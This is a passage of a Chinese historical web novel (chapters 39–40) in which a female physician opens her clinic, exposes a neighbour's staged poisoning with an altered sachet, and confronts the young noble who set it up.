初遇孟玉桐,亦是这般雨天。步出茶肆,便见少女躲在檐下。他起先并未在意,直到无意间瞧见她腰间佩戴的一只碧色双鱼佩,他这才停住脚步,视线投向檐下那女子身上。 似乎如祖父所言,是个端方清丽的大家闺秀。他将随身的伞送了一把给她。 雨汽迷蒙之中,他瞧见了她抬起的一双墨玉般的眸子,澄澈如洗的眼底,盛有意外、感激,以及一丝极淡的羞怯…… 后来在纪府再次遇见,就全然变了。他能明显感觉到,她不太愿意与纪家,特别是与他扯上关系。 对他似乎带着股难以言喻的敌意。 他低头饮茶,盏中翠绿茶叶起起伏伏,他瞧见清澈茶水中印出他的眼, 那双眼,是一贯的淡漠与冷然的神色,可细辨,却觉其深处,似乎悄然滋生了一丝陌生的、连他自己都未曾察觉的好奇与探究。 如同幽寂多年的深潭,被一颗无意落入的石子,扰动了平静无波的水面,牵引出一圈圈震荡。 他眉心骤然一紧,几乎是下意识地将茶盏重重按在桌面上。 盏中清波激荡,几点滚烫的茶水飞溅而出,灼在他冰凉的手背上。 一股难以言喻的躁郁之气,毫无预兆地自心底翻涌而起。 他闭了闭眼,胸中悄然呼出一口浊气……他鲜少有这般心绪烦躁之时,想来,还是昨夜那场梦魇作祟,未曾安枕的缘故。 窗外雨水连连,斜斜而下,织成一道道细密的网。 不知过了多久,街上人都渐渐散了,壶里的浮梁雪毫已见底,他才听见身后传来云舟一贯急匆匆的脚步声。 “公子,话带到了!孟姑娘说,昨日医官院的陈医官亲来知会过她,送了盖官印的名录副本,她已知晓,让小的代她向您道声谢。” 云舟手里拿着两把油纸伞,伞尖雨水蜿蜒而下,滴滴答答,他顺势往后甩了甩,将伞沿着墙角放下,又道:“外头雨下大了,孟姑娘给了我两把伞。” 他动作间,腰间一只簇新的草绿色云纹香囊随之晃动,逸散出清雅安宁的淡香,与方才何浩川身上的味道如出一辙。 纪昀视线扫过那香囊,复又抬起,落在云舟脸上:“何故耽搁许久?” 云舟咧嘴一笑,带着几分憨态:“去时正赶上孟姑娘给大家分刚熬好的桂圆红枣暖身汤,留我喝了一碗!滋味真不赖!原本白芷姑娘还说给您也盛一碗,我说您正品着茶呢,您也不爱喝这些甜的,就给推了。” 他顺势摸了摸腰间香囊,颇有些得意,“孟姑娘她们新做了一批安神香囊,预备明日开馆售卖,白芷也送了一个叫我试试!不过我倒是没那失眠的习惯,夜里睡得香得很,便将这香囊当个装饰挂在身上,瞧着也十分不赖。” 纪昀鼻翼微动,敏锐地捕捉到那香囊逸散出的气息。 这一批的方子,似乎与她上回告知的那版大不相同。清冽中透着一丝柏子仁特有的甘润,又隐隐带着合欢皮的宁神之韵,配伍更为精妙,用料也更考究。 “你与白芷,何时这般熟稔了?”纪昀的声音混着窗外冷雨敲打屋檐的细碎声响,清清冷冷地响起,落在云舟耳边,有股奇怪的凉意。 云舟在纪昀身边伺候的年头比青书久,却远不如青书那般心思玲珑、善察人意。 许是习武之人心思粗直x,他向来有些钝感,常常辨不明主子那深潭静水下的情绪暗涌,也因此没少因口无遮拦挨过训。 此刻,他浑然不觉纪昀有些奇怪的情绪,咧嘴一笑,露出两排白牙,竟真掰着手指头细数起来:“就上回啊!小的跟白芷姑娘一道儿去王记饮子铺买陈皮汤,路上闲聊起来,发现我俩都顶爱吃山楂糕。这不就多聊了几句嘛?嘿,结果越聊越投机,还都喜欢听西街张瞎子说书。这可不就是……”他拧着眉使劲想了想,眼睛一亮,“对!就是书上说的‘一见如故’!” 纪昀眉宇间倦色更浓,无心再听他絮叨,起身拂了拂衣袖:“时辰不早了,回府吧。” 云舟意犹未尽地收了话头,拿起伞跟在后头结了账。主仆二人一前一后,步入茫茫雨帘。 纪府位于清风茶肆以北,若抄近路,当从茶肆后巷穿入兴礼坊,再径直北行。 往日往返,纪昀皆取此道。 然而今夜,纪昀撑开伞步入雨幕,却未转向后巷,而是径直朝着望仙桥方向行去,此路必经照隅堂,比往常的路远了一程。 云舟紧赶两步,疑惑道:“公子,走错了?这不是回府的路啊?” “巷中积水难行,走大路。”纪昀语声平淡,目光扫过幽深巷道内映着灯光的片片水洼。 云舟瞧了一眼,青石板铺就的深巷里有大大小小许多水洼,的确不适合行走。 他恍然道:“还是公子心细。” 两人往前行了两步,快到照隅堂时,恰逢堂内走出两个身形魁梧的汉子,各自撑着伞。 孟玉桐随后送至檐下,“雨势正急,怎么不等雨小些了再走?” 其中一位面色黧黑、方脸阔口的汉子拱手道:“少当家的约莫这两日要到了,我俩去城外庄子上候着,免得他寻了个空。” 孟玉桐颔首,自袖中取出一只玉白色云锦香囊,递了过去:“若他这两日到了,舟车劳顿,定难安眠。将此囊予他,或可助眠。” “多谢姑娘!明日开馆,俺们定来捧场!”两人接过香囊,再次道谢,身影很快没入雨帘。 道别声中,云舟低声向纪昀解释:“那黑脸方腮的是崔大成,旁边瘦长猴脸高个的是梅三,两人是秦州的那一行游商,他们领头的姓刘,前阵子好像是与八珍坊闹翻了。刘爷去了平江府,估摸着快回来了……” 纪昀眼风淡淡扫过:“我并未问询。” 云舟讪讪地摸了摸伞柄:“瞧您方才看得仔细,以为您想知道呢。” 纪昀未再言语,只将手中油纸伞略略抬高几分。伞沿抬起,视线穿透迷蒙雨幕,正与檐下那道青碧身影撞个正着。 雨丝如织,天地间一片氤氲水汽。照隅堂檐下悬着的灯笼在夜风中轻晃,晕开一团团暖融昏黄的光晕,柔柔笼在门前女子身上。 她青衫素净,立于光影交界处,宛如雨打新荷,清丽难言。 隔着重重雨帘,纪昀望进那双墨玉般的眼眸。 那眸底深处,竟似映着檐下灯笼的暖色光点,在无边清冷中,透出点点温润。 恰在此时,天幕中忽然一道亮白闪电划过,强光刺目,纪昀眼前倏然一片白芒,待视野恢复,再去看那双幽幽黑眸…… 恍然竟与梦中那双辨不清的眼悄然重合了一瞬。 天地静默。紧接着——“轰隆!!!” 雷声自头顶轰然响起,纪昀只觉心头随着这道撼天动地的雷鸣,重重擂动了一下。一股奇异而陌生的颤动自心口蔓延而开,却又转瞬即逝。 荒唐! 纪昀捏着伞柄的手指猝然收紧,骨节泛白,青筋沿冷白手背虬结而起。 滚滚雷声消隐后,孟玉桐朝他微微颔首,“雨势颇大,纪医官可要进来稍坐,待雨歇再行?” 她眼中带笑,姿态大方,客气又疏离。 纪昀压下心头翻涌的异样,声音平稳无波:“多谢孟姑娘美意。时辰已晚,府中尚有庶务待理,不便叨扰。” 他自然知晓,孟玉桐所言不过是客套。 府中尚有庶务……孟玉桐眸中闪过几分了然。也是,时候不早了,这个时辰,纪昀该回府去给瑾安研究药方了。 孟玉桐亦不挽留,从善如流:“既如此,路上小心。” “嗯。” 纪昀和云舟走后,孟玉桐回了大堂中,白芷和桂嬷嬷还在忙碌,一个忙着缝制香囊,一个忙着研磨药材。 孟玉桐走到白芷身旁坐下,拿起一只缝制好的素色香囊,指尖捻起配好的香料,细细填入其中。 “白芷,”她动作未停,随口问道:“昨日你去庆来饭馆送香囊,孙大娘是何反应?” 白芷手上动作不停,答道:“起先推说不要,嚷嚷着自己‘沾枕头就着,用不着这劳什子’。可奴婢瞧得真真儿的,她眼下乌青,印堂发暗,分明是好几宿没睡安生的模样!奴婢便多嘴说了几句这香囊安神助眠的效用,她听着听着,倒也不推了,磨蹭一会儿就收下了。” “你可问了她有何禁忌?” “问啦!”白芷肯定道,“她说没有。奴婢给她的也是最寻常的香囊,断不会出差错的。” 孟玉桐缓缓点头,目光却不由自主地飘向对面。此刻的庆来饭馆,早已门窗紧闭,漆黑一片,今日比平日足足早关门了一个多时辰。 一丝疑虑悄然爬上心头。 然念及明日医馆开张千头万绪,她终是按下这缕思绪,转而细细叮嘱起白芷明日迎客待物的诸多细节来。 第39章 第39章开业 四月十五,丁卯日,宜开业,无冲煞,大吉大利。 正是卯时三刻,天色大亮,照隅堂门前已是人头攒动,笑语喧阗, 早就听说这照隅堂十五开张,桃花街的街坊邻里们早早聚拢,皆来瞧这新医馆开张的热闹。 孟玉桐今日穿了一身簇新的杏子黄交领襦裙,裙衫颜色鲜亮,她极少穿这样的颜色,今日一瞧,点点杏黄生动鲜艳,衬得人明艳如霞。 她与白芷、桂嬷嬷、吴明、崔大成、梅三几人起了大早,早已在馆内准备妥当,只等吉时。 吉时已到! “噼里啪啦——!”崔大成手持长竿,点燃了悬在门楣下的万响红鞭,震耳欲聋的爆竹声瞬间炸开,红纸屑如雨纷飞。 一旁围观的人纷纷抬手捂着耳朵。 与此同时,梅三与吴明合力一拉门前垂下的红绸。门楣顶端,朱漆金字的“照隅堂”大匾在晨光中赫然显露,熠熠生辉。 “开业大吉!多谢诸位捧场!”孟玉桐含笑立于阶前,声音清越,压过爆竹余音。 众人纷纷说着喝彩的吉祥话。 “孟掌柜开业大吉!财源广进!” “照隅堂悬壶济世,妙手回春!” 何浩川今日特意换了一身靛蓝色杭绸直裰,腰间悬着那只照隅堂所赠的浅蓝色兰草图香囊,一身颜色相称,又清净爽利,合他气质,显得格外精神。 他从人群中挤上前,手中捧着一只精巧的紫檀木盒,笑容满面,朗声道:“玉桐姐姐,我们清风茶肆没有别的,就是茶叶还不错。家父与我备了些新制的上品浮梁雪毫,权作今日开馆贺仪,聊表心意,姐姐万勿嫌弃简薄!” 饮子铺王勇挤上前,嗓门洪亮:“孟姑娘,托你那安神香囊的福,老汉我这几日睡得都十分踏实,可要多谢你。” 财帛店周大娘也笑着附和:“孟姑娘,你这医馆开得不错,以后咱们街坊有个头疼脑热的,再不用巴巴地往御街跑了。” 照隅堂在初十那日便装潢好了,这几日孟玉桐带着几人采购药材,打扫铺面的同时,常常给街坊邻居送一些药茶,闲时也替他们免费看诊。一些微末小症,她也不收取诊金。 一来二去,与街上大多人都相熟识了。 起初还是有许多街坊质疑孟玉桐的医术的,不过在她逐一替众人瞧过,又点出了些不明显的老毛病后,街坊邻里倒是都很信服她的医术了。 这一派喜气洋洋的气氛之中,庆来饭馆的孙大娘一改往常,缩在人群边缘,显得有些格格不入。 她往日里最爱凑热闹,此刻竟反常地没有上前去接白芷分发的松子糖和如意糕。 孟玉桐注意到她的不自在。 “白芷,”孟玉桐低声吩咐,“给孙大娘抓把糖,请她上前来沾沾喜气。” 白芷依言,捧着一把裹着红纸的酥糖挤过去,塞进孙大娘手中,笑道:“孙大娘,今日大喜,您也来沾沾福气!” 孟玉桐在一旁静静观察着这边的情景,只见孙桂芳面色蜡黄中透着青白,眼神飘忽不定x,显得心不在焉,手脚僵硬地接了那一捧糖。 “孙大娘,你的手怎如此冰冷,可是着凉了?”白芷碰到她的手,被那冰冷的触感刺了一下。 白芷作势要去抓她的手来瞧,孙桂芳却被吓得一个激灵后退两步,她手中的酥糖也“哗啦”一声撒落满地。 随即,孙桂芳面色一凛,整个人忽如被抽了骨头般,猛地向前一栽,“噗通”一声重重摔倒在照隅堂门前的青石台阶上。 倒地后,她双手死死捂住腹部,身体蜷缩如虾,脸上瞬间血色尽褪,痛得五官扭曲,发出哀嚎: “哎哟!痛煞我也!是……是那香囊!照隅堂送的香囊……有毒啊!” 白芷大惊失色,丢下手中的糖果,慌忙去扶:“孙大娘,你没事吧?饭可以乱吃,话可不能乱说。我们香囊怎会有毒?” 孙桂芳冷汗涔涔,挣扎着抬起头,眼中满是痛苦,声音嘶哑地喊道:“我……我今日一早便觉头昏脑胀,腹中绞痛如刀绞。我吃穿用度皆是自家饭馆的,从未有过差错。唯有前两日……前两日收了你们这劳什子香囊!定是它!定是它害了我!那味道……闻着就不对劲!” 话音未落,她猛地俯身,“哇——”地一声,竟呕出一滩黄水秽物。 紧接着,整个人虚脱般向后软倒,背脊硌在冰冷石阶上,面如金纸,气若游丝,却仍强撑着指向孟玉桐,断断续续哭嚎:“孟姑娘……你……你这般害人的本事……怎能……怎能开馆行医……这是……这是要人命啊……求街坊们……给我做主啊……” “有毒?!” “天哪!孙大娘吐了!” “快!快把香囊摘了!” 人群中瞬间炸开了锅。不少人脸色剧变,有人手忙脚乱地扯下腰间或袖中的香囊,狠狠丢向照隅堂门口。 几乎只是一瞬之间,指责质疑之声从四面涌来: “黑心医馆!才开张就害人!” “我就说怎么有女人开医馆,果然是个害人精!” “报官!快报官抓人!” 何浩川见状面色一急,展臂挡在医馆门前,出声安抚:“诸位冷静,这其中应当是出了什么误会,孟大夫不是这样的人,大家不要冲动啊!” 崔大成和梅三见状,怒目圆睁,如同两尊门神般挡在孟玉桐和医馆门前,与激愤的人群对骂起来: 崔大成:“放你娘的屁!孟姑娘菩萨心肠,岂会害人!定是这婆娘自己吃坏了肚子,胡乱攀咬!” 梅三:“哪个龟孙敢再污蔑一句?老子撕了他的嘴!” 眼见着这两人就要下场去继续骂,吴明急得满头大汗,拼命拉住两人:“两位大哥息怒!息怒!让当家的先处置!莫要添乱!” 白芷气得浑身发抖,正要上前理论,却被孟玉桐轻轻拉住胳膊。 孟玉桐神色沉静,对她微微摇头,示意稍安勿躁。 她恍然未闻众人斥责,在众目睽睽之下,缓步走到痛苦呻吟的孙桂芳面前,蹲下身。 孙桂芳见她靠近,眼中闪过一丝慌乱,下意识想往后缩,可自己却觉没多大力气,只能呆滞在原地看她靠近。 “别动。”孟玉桐声音不高,手上力度却不小。她一手稳稳扣住孙桂芳的手腕,强按在石阶上,另一只手搭上了她的腕脉。 指下脉象滑数而急,如珠走盘。分明是肠胃受激、湿热内蕴之兆。 再结合其呕吐物与症状……她心中立时雪亮。 “白芷,”孟玉桐头叫白芷俯耳过来,在她耳边低声道:“去后院急火煎一剂汤药,取黄连、黄芩、葛根……” 吩咐完,她松开孙桂芳的手腕,目光沉沉望向对方:“孙大娘,你既说香囊有毒,烦请将它拿出来,让大伙儿都瞧瞧。若真是我照隅堂香囊之过,该赔该罚,我绝无二话。否则,你空口白牙污人清白,这盆脏水,我们可不接。” 孙大娘没料到她如此镇定且简单几句便直指要害,一时语塞,眼神闪烁,支吾道:“你……你医术不精……害了人还想狡辩……我只求……只求你别再害人,关了这医馆……” 她试图以哭嚎转移焦点,用力过猛,顿时又是一阵翻江倒海的绞痛袭来,捂着心口蜷缩得更紧,额角渗出豆大的冷汗,气息越发短促。 孙桂芳不说香囊在哪,孟玉桐不再与她废话,直接上手往她身上探去,动作间在她胸前闻到熟悉药香。 她眸光一凛,果断倾身上前:“得罪了。” 话音未落,她已将手探入孙大娘怀中,几番摸索便将香囊拿了出来。 “还给我!”孙桂芳惊惶尖叫,挣扎着想去抢夺。 吴明眼疾手快,一个箭步上前按住了她的肩膀:“大娘莫乱动!” 孟玉桐拿着香囊,低头轻嗅,熟悉药香中,夹杂着一缕极淡却异常辛辣的异味。 果然如此。 她高举香囊示众:“诸位请看,此乃我照隅堂所赠香囊无疑。” 她随即取出一方素白锦帕铺于地面,拔下髻间一支银簪,用簪尖在香囊底部划开一道寸许长的口子。 手腕轻抖,将内里填充的药材尽数倾倒在白帕之上。 不知她要做什么,众人凝神细细看她动作。 不远处的清风茶肆二层雅间。临街的窗扇大敞。 李璟悠闲地倚在窗边,手中把玩着一只茶盏,饶有兴致地俯瞰着楼下照隅堂门前的闹剧。 “啧,演得倒挺像那么回事。”他嘴角勾起一抹玩味的笑意,瞥向身后垂手侍立的郑辉,“那婆娘,是你安排的?” 郑辉背脊微躬,额角渗出薄汗,连连点头,低声应道:“回世子爷,正是小的安排的。” “嗯,还算机灵。”李璟满意地啜了口茶,目光重新投向楼下那抹杏黄色身影,眼底掠过看好戏的神情。 他倒要瞧瞧,他毁了她医馆的招牌,这孟玉桐还能使出什么通天手段,让这小小医馆立稳脚跟! 照隅堂阶下,孟玉桐神色沉静,未觉那来自高处的窥视。 她的注意力集中在眼前的香囊上。只见她手中银簪尖轻点,如穿花拂柳般拨开白帕上那堆白灰色的安神药粉。 簪尖微顿,精准地挑起一小撮格格不入的深褐色粉末。这小撮粉末颗粒细小,色泽突兀,靠近时细细闻,能闻到一股辛辣之气。 “诸位请看,”她托起白帕,将香粉示于众人眼前,清越的声音拔高,压过周遭嘈杂,“此乃巴豆粉。性辛热,有大毒,误食者立时腹痛如绞,上吐下泻,正合孙大娘之症。然此物仅置于香囊之中嗅闻,绝无中毒之理。这褐色粉末聚而未散,显是事后掺杂,非我照隅堂原物。” “嘶——” 人群倒吸一口凉气,目光聚焦于那抹褐色,议论声再起。 确如孟掌柜所言,这分明是有人刻意栽赃! 可孙大娘与孟掌柜素无仇怨,何苦行此险招?实在令人费解。 孙桂芳此刻已面无人色,冷汗浸透鬓发,却仍强撑着一口气,嘶声辩驳:“胡……胡说!焉知……焉知不是你……你调好方子时……便混了进去?” 孟玉桐闻言,唇角勾起一抹浅笑。她不疾不徐地将孙大娘的香囊翻转,又示意何浩川递上他腰间那只。两相对照,展示于众人眼前。 “诸位再看,”她轻点香囊封口处,“此香囊乃我侍女白芷亲手缝制,封口白线皆以茜草汁浸染,既固色又添药效,时日稍久,便会转为绛红。何公子此囊,线色绛红,正是我照隅堂独有之工。而孙大娘这只,”她将香囊高举至财帛店周大娘眼前,“封口线洁白如新,显是事后拆开重缝之迹。” “不错!”周大娘细看后,朗声应和,“孙桂芳这只线脚是新的,绝非原封!” 铁证如山,孰是孰非,围观者心中自有分辨。孙桂芳方才所述,倒是愈发证明她做贼心虚,栽赃陷害之心。 何浩川凑近看了看两只香囊,取回自己的那只重新挂回腰间,转头冲孙桂芳道:“孙大娘,大家都是街坊邻居,你何故这般害人?” 周遭议论之声渐高,孙桂芳再也支撑不住,眼前一黑,“砰”的瘫倒在地。 “崔大哥、吴明,将人抬入诊室。”孟玉桐立时吩咐。 两人连忙将人抬了进去。 她旋即转身,面向神色各异的街坊,从容一礼:“今日惊扰诸位,实乃误会一场。想是孙大娘误食巴豆,又恰佩我堂香囊,故生此疑窦。照隅堂初立,蒙街坊厚爱,多有不足之处,还望海涵。为表歉意,更因夏暑将至,敝馆特备了些驱虫辟秽的艾草香包,稍后请桂嬷x嬷分赠各位,聊表心意,还望诸位莫要嫌弃简薄。” 桂嬷嬷立时应声,唤了梅三入内取物。 方才还激愤的人群,此刻已被孟玉桐的从容气度与慷慨之举抚平,纷纷拱手: “多谢孟掌柜!” “孟掌柜仁心大义!” 有人讪讪捡回丢弃的香囊,面露愧色。 好好的大吉开馆日,闹成今日这般模样,也亏得孟玉桐一个小娘子冷静机敏,化险为夷,不然这医馆怕是一日都未开就要关门了。 经此一事,原先还存着几分看热闹心思的人,此刻也不得不正视照隅堂和掌柜孟玉桐了。 何浩川帮着遣散了人群,关切地望向孟玉桐问道:“玉桐姐姐,孙大娘她没事吧?” 孟玉桐摇头,“我已经让白芷提前煎了药,服药休息一下就好,今日多谢何公子相助。你父亲的药应当快用完了,你晚些时候来店里,我再给你开一些。” “不妨事的,玉桐姐姐莫要同我客气。那我就不打扰你了,若有什么事需要我帮忙的,千万不要同我见外!” 孟玉桐笑笑,道知道了,转身踏入医馆。 清风茶肆雅间内。 李璟眼见孙桂芳忽然晕厥,霍然起身,怒目瞪向身后:“你确定她只是做戏?!” 郑辉面色发灰,抖着嗓子道:“世子爷明鉴!小的……小的的确给了她一包巴豆粉,吩咐她……她只吃指甲盖那么点装装样子……万……万没想到她竟……竟全吞了呀!” 竟没想到这蠢东西如此不知轻重,他不过让他吓一吓那姓孟的,他居然拿了害人的泻药去唆使旁人,若是事情闹大,他非被父亲母亲骂死不可! 简直是成事不足败事有余! “蠢货!”李璟怒极,抬脚猛踢了他一脚,“若闹出人命,看你有几个脑袋顶罪!” 他一把扯开碍事的袍摆,急匆匆疾步冲下楼去。 一路疾驰到了照隅堂门外,李璟停在门口,大口喘着气,却不敢进去。 他悄悄探头往里看了一眼,只见右边诊室内,崔大、吴明正与桂嬷嬷一道,有条不紊地分发艾草香包。 左边诊室内,孙桂芳双目紧闭,面色惨白,正瘫在窄榻上。 孟玉桐坐在一边,已卷起杏黄窄袖,露出半截凝霜皓腕,正手持药碗,亲自将温热的汤药徐徐灌入孙桂芳口中。 远远瞧着,氤氲药气模糊了她的眉眼,分明看不清容颜。 一举一动却让人莫名觉得,挪不开眼。 孟玉桐一边喂药,一边冲身旁两人道:“白芷,取干帕巾来。” “吴明,再去煎一剂药备着。” 不多时,药力催发,孙桂芳喉头滚动,“哇”地一声,又呕出些污秽,吐了满地。 她喘息稍定,茫然睁眼,对上榻边一圈人复杂的目光,忆起门前被当众拆穿的窘迫,羞愤难当,索性闭眼往后一倒,继续装死。 可腹中绞痛排山倒海般袭来,似有万马奔腾,她脸色憋得由白转青,唇瓣哆嗦,足尖无意识地在榻沿蹭动,已是忍到了极限。 白芷见状,忧心道:“姑娘,她这又晕了似的,可要紧?” 门外的李璟瞧着眼前这情景,一颗心也猛地提起,若真出了人命……难保不查到郑辉头上,到时候他自然也难逃干系…… 他顿时后怕起来,他何必为了怄这一口气费劲做这些事,一个没弄好,平白惹了一身骚。 李璟在心中默念:这大娘可千万不要有事啊! 他原先坚定地认为孟玉桐一定是个不通医术,借由开医馆名头想与表兄再续前缘的心机深沉之人。此刻他却无比希望,那孟玉桐最好是华佗在世,快些将榻上那蠢东西救回来才好! 孟玉桐净了手,用素帕慢条斯理地擦拭着指尖水珠,清晰的声音清晰传入众人耳中:“巴豆之毒,虽非见血封喉,却凶险在猛烈攻伐肠胃。药力催逼,正需将邪毒泻尽方得平安。若强行忍耐,闭门留寇,轻则元气大伤,重则……” 她顿了顿,目光若有似无扫过榻上那微微颤抖的身影,“恐有性命之虞。” 白芷应道:“这般凶险?那可耽搁不得!” 榻上那只手猛地抽搐了一下。 门外那人也紧张地上前一步。 孟玉桐语调依旧淡然:“自然,憋得越久,伤得越深,离鬼门关也越近。” 话音未落,孙桂芳终是忍不下去了,倏地从榻上弹起。 她再顾不得颜面,鞋也来不及穿好,踉跄着便要往外冲。 她宁愿死在对面的茅房里,也绝不能在这地方出此大丑! 白芷欲拦,孟玉桐抬手制止,只对着那仓惶背影道:“孙大娘,余毒未清,稍后还需再服一剂,莫忘了。” 孙桂芳脚步在门口一滞,极低地含糊应了一声,随即如离弦之箭,直扑对面自家饭馆而去。 饭馆此刻尚未开张,孙大娘的丈夫吴庆来犹在里间酣睡。 忽闻门板“哐当”巨响,睁眼便见自家婆娘披头散发,状若疯魔般直冲后院茅房,口中犹自发出痛苦呻吟。 吴庆来睡眼惺忪,只当婆娘又犯了什么癔症,嘟囔着骂了句“白日发癫!”,翻个身,鼾声复起。 白芷瞪着孙桂芳落荒而逃的背影,气得跺了跺脚,低声啐道:“好个没良心的!姑娘,她这般陷害咱们,咱们就这么轻飘飘放她走了?” 孟玉桐的目光亦投向门外,却未落在对面的庆来饭馆,而是凝注在门槛外影壁处,一角悄然露出的、绣着精致云雷纹的宝绿色锦缎衣摆上。 那分明是临安城中最上乘的云锦缎子,亦是李璟惯爱的张扬之色。 她眸色微深,声音清晰地传出屋外:“孙大娘素来精明市侩,却非胆大妄为之人,此事,怕是有人背后指使。” 话音甫落,门外那片衣摆猛地一颤。仿佛受惊般缩了回去。 孟玉桐心中了然,原本只是三分猜测,如今倒是坐实了十成。 她步履轻移,行至门边,抬手忽地握住内侧门扇边缘,猛地向里一带! “哎哟——!”一声痛呼伴随着踉跄之声,李璟猝不及防被门扇带得向后仰倒,姿态狼狈至极。 就在他即将摔个四脚朝天之际,一只微凉的手稳稳按住了他的肩头,堪堪止住他下坠之势。 孟玉桐的脸堪堪出现在他上方,声音带着一丝关切,幽幽响起:“李世子?可是身子不适,特来照隅堂寻医问诊?” 那温言细语,听在李璟耳中却带着凉意。 这女人……定是知道了! 李璟慌忙抓住一旁门框,借力站稳,强自镇定地转过身,正欲发作,目光撞上孟玉桐那双清凌凌的眼眸时,却蓦地一滞。 那郑辉不是说孟氏女貌若无盐、木讷无趣、满身铜臭吗? 可眼前这女子……分明眉目如画,气度沉静,哪有半分他所述模样? 第40章 第40章都包起来 “你……你如何认得我?”李璟喉头微动,语气结巴。 他确信此前从未与她正式照面。 孟玉桐唇角微扬,笑意清浅:“世子龙章凤姿,名动临安,识得您金面之人,想来不在少数。” 李璟闻言,下意识理了理微皱的衣襟,嘴角刚想扯出一丝得意:“这话倒还……” “世子之名,”孟玉桐话锋倏转,笑意更深,眼底却无半分暖意,“不仅我等仰慕,便是那市牙孙胜、各行会的行头,乃至对街的孙大娘,亦是如雷贯耳,相熟得很呢。” 她上前半步,目光直直望进李璟眼中,“今日机缘巧合,不知可否叨扰世子片刻?小女子斗胆猜想,你我之间,许是有些误会。” 两人正堵在门槛处僵持,恰逢一位领了艾草包的街坊欲出门,热情地向孟玉桐道谢:“多谢孟掌柜!” 转眼瞧见旁边锦衣华服却面色不善的李璟,顿时目露警惕,上下打量几眼,才快步离去。 “街坊慢走。”孟玉桐淡然颔首,随即侧身对李璟做了个“请”的手势,姿态从容。 李璟被那人警惕的眼神看得心头火起,又觉堵在此处实在有损他“英明”形象,只得冷哼一声,昂首阔步迈入诊室。 输人不输阵! 孟玉桐示意白芷看座。 李璟大马金刀地坐下,不耐地掸了掸衣袖:“有话快说!小爷时间金贵,没空陪你在这儿磨牙!” 他心知肚明,孟玉桐方才那番话,已然点破了他派郑辉使绊子之事。 但他岂会认错?错都是别人的!至于孙大娘那蠢事闹大了,那全是郑辉那头蠢猪自作主张! “小女自问与世子素无仇怨,不知世子因何屡屡针对?”孟玉桐开门见山问道。 如此直白,倒让李璟愣了一瞬。 他旋即像被踩了尾巴,猛地一拍桌案,“腾”x地站起,怒目圆睁:“你还敢倒打一耙?!别以为仗着是个女人,小爷就不敢动你! “那伙从秦州来的游商,你敢说不认识?我手下人明明白白告诉我,他们借我八珍阁的宝地售卖首饰,约定按分利抵租,结果呢? “竟敢伙同外人,骗回契书,连夜卷款潜逃!你敢说此事与你无关?若不给你点颜色瞧瞧,你真当小爷我是泥捏的菩萨?!” 白芷立刻闪身挡在孟玉桐面前,柳眉倒竖:“光天化日,朗朗乾坤!你想做什么?” 孟玉桐心中豁然开朗。 前世她仅与李璟有过数面之缘,对其纨绔浪荡的恶名深信不疑。唯纪昀曾言,此子虽年轻气盛,却非全然不讲道理。 八珍阁一事,她一直认定是李璟仗势欺人。如今看来,恐怕是有人从中作梗,借刀杀人,利用了他的骄横。 她轻轻拉开白芷,低语吩咐:“去请崔大哥和梅三哥过来。” 白芷会意,立刻闪身而出。 李璟见状,嗤笑一声,傲慢地扬起下巴:“哼!放心,小爷不打女人!” 心中却暗骂:还叫帮手?分明是做贼心虚! “李世子,”孟玉桐目光沉静,淡淡望向他:“方才所言,皆是您手下人一面之词?” “是又如何?”李璟梗着脖子。 “世子明鉴,”孟玉桐语声温婉平静,却好似带着令人信服的力量,“世人皆趋利避害,所言所行,多是为己开脱。如此大事,世子难道不该多听听几方说法?事实真相,当真如您手下所言那般不堪么?” 话音未落,崔大成与梅三已随白芷大步踏入诊室。 两人曾在八珍阁外远远见过李璟,此刻一眼便认出了这位“债主”。 崔大成一见李璟,想起被骗的屈辱和流离之苦,新仇旧恨涌上心头,怒吼道:“好哇!你这黑心骗子,竟敢找到这儿来了?!” 梅三连忙用力拽住他胳膊,低声劝道:“崔大!莫冲动!” 梅三堪堪将崔大劝住,孟玉桐示意二人坐下,转向脸色铁青的李璟:“世子,这二位正是您口中那卷款潜逃的秦州游商之二,崔大成与梅三。是非曲直,何不听听他们亲口所言?” 李璟被崔大成指着鼻子骂“骗子”,怒火中烧,恨不能立刻给他一耳光。 可瞥见崔大成那铜铃般的怒目和虬结的肌肉,又想起刚才差点摔跤的狼狈,终究没敢动手,只悻悻坐回椅中,没好气道:“说!小爷听着呢!若有一句虚言,哼!” 心中已盘算着待会儿如何叫人把这俩莽夫套麻袋揍一顿解气。 梅三心思一转,便知晓孟玉桐用意。 他稳住心神,将当日在八珍阁如何被郑辉欺骗签阴阳契、如何被逼无奈才设计取回契书连夜离开的经过,简明扼要地道出。 末了,看着李璟脸上红白交错的精彩神色,又补了一句:“世子若不信,大可即刻去八珍阁,寻那伙计阿昌当面对质!” “哼!连手下人都管束不住,还当什么世子?我看是棒槌差不多!”崔大成扭过头,瓮声瓮气地嘀咕了一句。 “你!找死!”李璟本就因被郑辉蒙蔽而羞愤交加,此刻再被崔大成当众奚落,怒火瞬间冲破理智!他猛地起身,一把揪住崔大成的衣领,挥拳便要打他。 电光火石间——只听“刺啦”一声锦缎撕裂的脆响。 崔大成的大手后发先至,如铁钳般反手攥住了李璟胸前那华贵的锦缎衣襟,臂上肌肉虬结贲张,竟生生将这位养尊处优的世子爷像拎小鸡仔似的提溜起来! “啊——!”李璟双脚离地,吓得不行,锦靴在空中徒劳地乱蹬,“放肆!你这莽夫!快放我下来!你知道小爷是谁吗?!” 声音都变了调。 孟玉桐看向崔大成,语气无奈:“崔大哥,放下李世子吧。世子是明理之人,自会去寻阿昌问个明白,还你们一个公道。” 她顿了顿,目光转向在半空中挣扎的李璟,唇角微勾:“您说是不是,李世子?” “是是是!放我下来!快放我下来!”李璟此刻哪还顾得上面子,迭声求饶。 崔大成这才冷哼一声,像丢破麻袋般将李璟往地上一撂。 李璟甫一落地,踉跄几步才站稳,手忙脚乱地抚平被扯得变形的衣襟,脸色一阵青一阵白。 他狠狠剜了屋内众人一眼,色厉内荏地撂下狠话:“好!好得很!小爷这就去八珍阁!若叫我知道你们有半句虚言……哼!你这破医馆,就等着关门大吉吧!” 狠话放完,他转身欲溜,不料崔大成故意上前一步,作势要拦。 李璟吓得脸色一白,再不敢停留,快步冲出医馆大门,那仓惶背影,比方才的孙大娘还要狼狈几分。 李璟走后,诊室内一时静默。 梅三望着空荡荡的门口,捋了捋短须,沉吟道:“看这情形,这位李世子倒像是个被蒙在鼓里的,白白被那郑辉当了枪使。” 